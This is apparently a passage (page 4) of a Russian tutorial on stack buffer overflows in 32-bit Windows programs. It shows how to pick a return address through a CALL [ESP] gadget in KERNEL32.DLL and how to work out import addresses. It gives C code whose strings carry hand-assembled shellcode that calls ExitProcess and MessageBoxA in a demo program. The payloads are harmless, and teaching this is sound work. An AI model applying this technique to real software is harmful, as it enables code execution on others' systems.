Переполнение буфера
Страница 4. Как подобрать строку


Как подобрать строку

Первое, что необходимо сделать - разобраться с тем, какой адрес возврата мы укажем. Учитывая то, что наш код будет находиться в строке, которую мы передаём, нам нужно передать управление на какой-нибудь адрес внутри этой строки. Самый простой способ определить этот адрес - загрузить программу в дебагере, посмотреть, по какому адресу будет находиться наша строка во время выполнения программы, и указать в качестве адреса возврата, например, адрес начала строки. Потом мы сможем записать туда необходимый нам код. У этого метода есть, правда, один недостаток. Необходимый нам адрес возврата будет "слишком маленьким", скорее всего меньше чем 0x00ffffff. А это значит, что один из байтов в строке будет нулём, и это нехорошо. Избежать этого можно следующим образом: очевидно, что после выполнения возврата из процедуры, регистр ESP будет указывать на тот "хвост" строки, который остался на стеке. Поэтому, если передать управление по адресу [ESP], то начнёт выполняться программа, записанная в этом "хвосте". Следовательно, нас бы устроила возможность выполнить инструкцию JMP [ESP] или CALL [ESP]. Такая инструкция скорее всего найдётся в одной из динамически загружаемых библиотек (DLL), которые изпользует программа. Так как DLL обычно загружаются на достаточно высокие адреса в памяти, то в качестве адреса возврата мы и укажем адрес одной из этих инструкций в DLL. Выполнение произойдёт тогда следующим образом:

RET --> CALL [ESP] --> код в "хвосте" строки

Одна из DLL, которые использует наша программа - KERNEL32.DLL. Попробуем найти в ней инструкцию CALL [ESP] или JMP [ESP]. Этим инструкциям соответствуют последовательности байтов 0xff 0xd4 и 0xff 0xe4. Для поиска можно использовать дебагер вроде SoftICE и просмотреть всё адресное пространство программы в области, где загружена KERNEL32.DLL (эта область начинается с Image Base, указанного в файле DLL). А можно искать просто в файле KERNEL32.DLL. Тогда лучше использовать какой-нибудь специльный HEX-редактор вроде HIEW, который указывает не только смещения байтов в файле, но и адреса, по которым они будут загружены в память. Положим что инструкция CALL [ESP] нашлась по адресу 0xbff794b3 (В общем этот адрес зависит от используемой версии KERNEL32.DLL). Вот это число мы и укажем в качестве адреса возврата, а прямо за ним в строке последует исполняемый код.

Теперь займёмся теми инструкциями, которые мы хотим выполнить. Для начала попробуем написать в качестве исполняемого кода простой вызов ExitProcess, после которого программа должна завершить работу. Смотрим таблицу импортируемых функций программы (с помощью PEBrowse, PEWizard, PEDump или чего-нибудь подобного):

Import Directory from "KERNEL32.DLL":
      name table at 0xf03c, address table at 0xf0e0
        hint name
        ---- ----
           0 CloseHandle        
           0 CreateFileA        
           0 ExitProcess
           ...      

Так как Image Base у нашей программы - 0x400000, то адрес для вызова ExitProcess равен 0x400000 + 0xf0e0 + 8 = 0x40f0e8. Значит используем инструкцию CALL [40f0e8h]. C помощью ассемблера узнаём, что она компилируется в последовательность байтов 0xff 0x15 0xe8 0xf0 0x40 0x00. Значит переписываем функцию main следующим образом:

int main()
{
    // часть строки, заполняющая буфер
    char mystr[] = "111112222233333444445555566666777778"
                   "\xb3\x94\xf7\xbf"           // адрес возврата
                                                // ----------- код -----------
                   "\xff\x15\xe8\xf0\x40\x00";  // CALL [KERNEL32.ExitProcess]
    show_array(47, mystr);
    return 0;
}

Компилируем, запускаем и ничего не происходит. Нет никакого сообщения об ошибке, программа просто завершает работу. Это означает, что переполнение буфера удалось - выполнился наш код.

Обнаружив теперь, что TEST.EXE импортирует и функцию MessageBoxA, адрес для вызова которой - 0x40f198, можно попробовать написать чего-нибудь поинтересней. Например, эта программа будет выдавать окошко с сообщением:

int main()
{
char mystr[] =
    "111112222233333444445555566666777778" // часть строки, заполняющая буфер
    "\xb3\x94\xf7\xbf"          // адрес возврата
                                // ----------- код ------------ --- адрес инструкции ---
    "\x8b\xec"                  // MOV EBP, ESP                         // EBP+4
                                //    (сохраним текущее значение ESP
                                //     в EBP для того, чтобы потом
                                //     адресовать память "внутри" этой
                                //     строки. EBP+4 теперь указывает на
                                //     начало этой инструкции (байт "\x8b").
                                //     Cправа отмечены адреса относительно
                                //     EBP)
    "\x6a\x20"                  // PUSH 20h                             // EBP+6
    "\x8d\x45\x35"              // LEA EAX, [EBP+35h]                   // EBP+8
    "\x50"                      // PUSH EAX                             // EBP+b
    "\x8d\x45\x1e"              // LEA EAX, [EBP+1eh]                   // EBP+c
    "\x50"                      // PUSH EAX                             // EBP+f
    "\x6a\x00"                  // PUSH 0                               // EBP+10
    "\xff\x15\x98\xf1\x40\x00"  // CALL [USER32.MessageBoxA]            // EBP+12
                                //    (предыдущие строки вызывают
                                //     MessageBox(0, "To be, or not to be..",
                                //                   "Question", MB_ICONQUESTION);
    "\xff\x15\xe8\xf0\x40\x00"  // CALL [KERNEL32.ExitProcess]          // EBP+18
    "To be, or not to be...\0"  //     Строки для передачи MessageBoxA  // EBP+1e
    "Question\0";               //      ----                            // EBP+35
   
show_array(36+53+10, mystr);
return 0;
}

 
« Предыдущая статья   Следующая статья »